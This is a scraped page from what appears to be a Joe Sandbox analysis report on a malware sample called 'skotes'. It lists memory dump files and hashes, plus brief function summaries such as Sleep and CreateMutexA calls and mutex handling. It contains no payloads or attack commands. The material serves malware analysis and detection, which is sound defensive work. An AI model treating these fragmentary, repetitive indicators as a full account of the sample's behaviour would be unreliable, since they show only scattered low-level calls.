Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 12ce9bffc1ade97a89f15bc7929681eedda305e2c03c97980729378d255e9dce
Instruction ID: f101774edb024c1ae96cc36a479cde861c571a4b43c3a8a40b47229ef96915cc
Opcode Fuzzy Hash: 12ce9bffc1ade97a89f15bc7929681eedda305e2c03c97980729378d255e9dce
Instruction Fuzzy Hash: 6F315B32A042059BEB08EB78DCC9B6DB766EFC5318F34C618E1589B3D1CB3599809B13

Function 0097A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7eb1201d937b8998e0f209261455d43cd16a09789a40cc0d7899d32413ba2031
Instruction ID: 4a2db20ddf03219493a24cdeda108dbf94f7c5813454a350553e30d7c06a3c43
Opcode Fuzzy Hash: 7eb1201d937b8998e0f209261455d43cd16a09789a40cc0d7899d32413ba2031
Instruction Fuzzy Hash: B3313732A142059BEB18EB78DC89B6DB776EFC1324F34C618E1189B3D1D73599809B63

Function 0097A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f141237931d42df960404fbdfadb681e4b42a366bc366e7068ee03011421ffb
Instruction ID: 1e94e5b14379524985276a796bc4f4bd31ce58e03d06fa94c2877a5c1bb0aa38
Opcode Fuzzy Hash: 6f141237931d42df960404fbdfadb681e4b42a366bc366e7068ee03011421ffb
Instruction Fuzzy Hash: 48213D3365D201DAE72467B89C9AB6EB356DFC1704F24C81AE14C963D1CA7949809663

Function 0097A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 09942bd7a9393fe0c02a00d7b1e3b270cf0ee67266ad2efd6d94fe5070060246
Instruction ID: ddf47c757415ed7a79e7b1532e7cef88a48e1c8ff370f4609fa2ce2133299378
Opcode Fuzzy Hash: 09942bd7a9393fe0c02a00d7b1e3b270cf0ee67266ad2efd6d94fe5070060246
Instruction Fuzzy Hash: 5421A6326082009BEB18AF28EC89B6CB726EBD1315F30C21DE518977D0CB369980C753

Non-executed Functions

Function 00972EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00972F5F
GetCurrentThreadId.KERNEL32 ref: 00972F7E
__Mtx_unlock.LIBCPMT ref: 00972FCC
__Cnd_broadcast.LIBCPMT ref: 00972FE3
__Mtx_unlock.LIBCPMT ref: 009730F5
GetCurrentThreadId.KERNEL32 ref: 00973132
__Mtx_unlock.LIBCPMT ref: 0097319B

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 92ab41e13cb77144557846abf1ff41e1aa9de422b88fb9ccbdf2bff970b306e5
Instruction ID: bd24519396194e05d157f14b73efa57da5d2eb538e41b756853d6cb5ee3ff0a5
Opcode Fuzzy Hash: 92ab41e13cb77144557846abf1ff41e1aa9de422b88fb9ccbdf2bff970b306e5
Instruction Fuzzy Hash: 7FA1F2B2A05205AFDB10EF64C944B9AB7B8FF55324F04C169E819D7381EB35EA04DBE1

Function 009ACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009ACC66

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
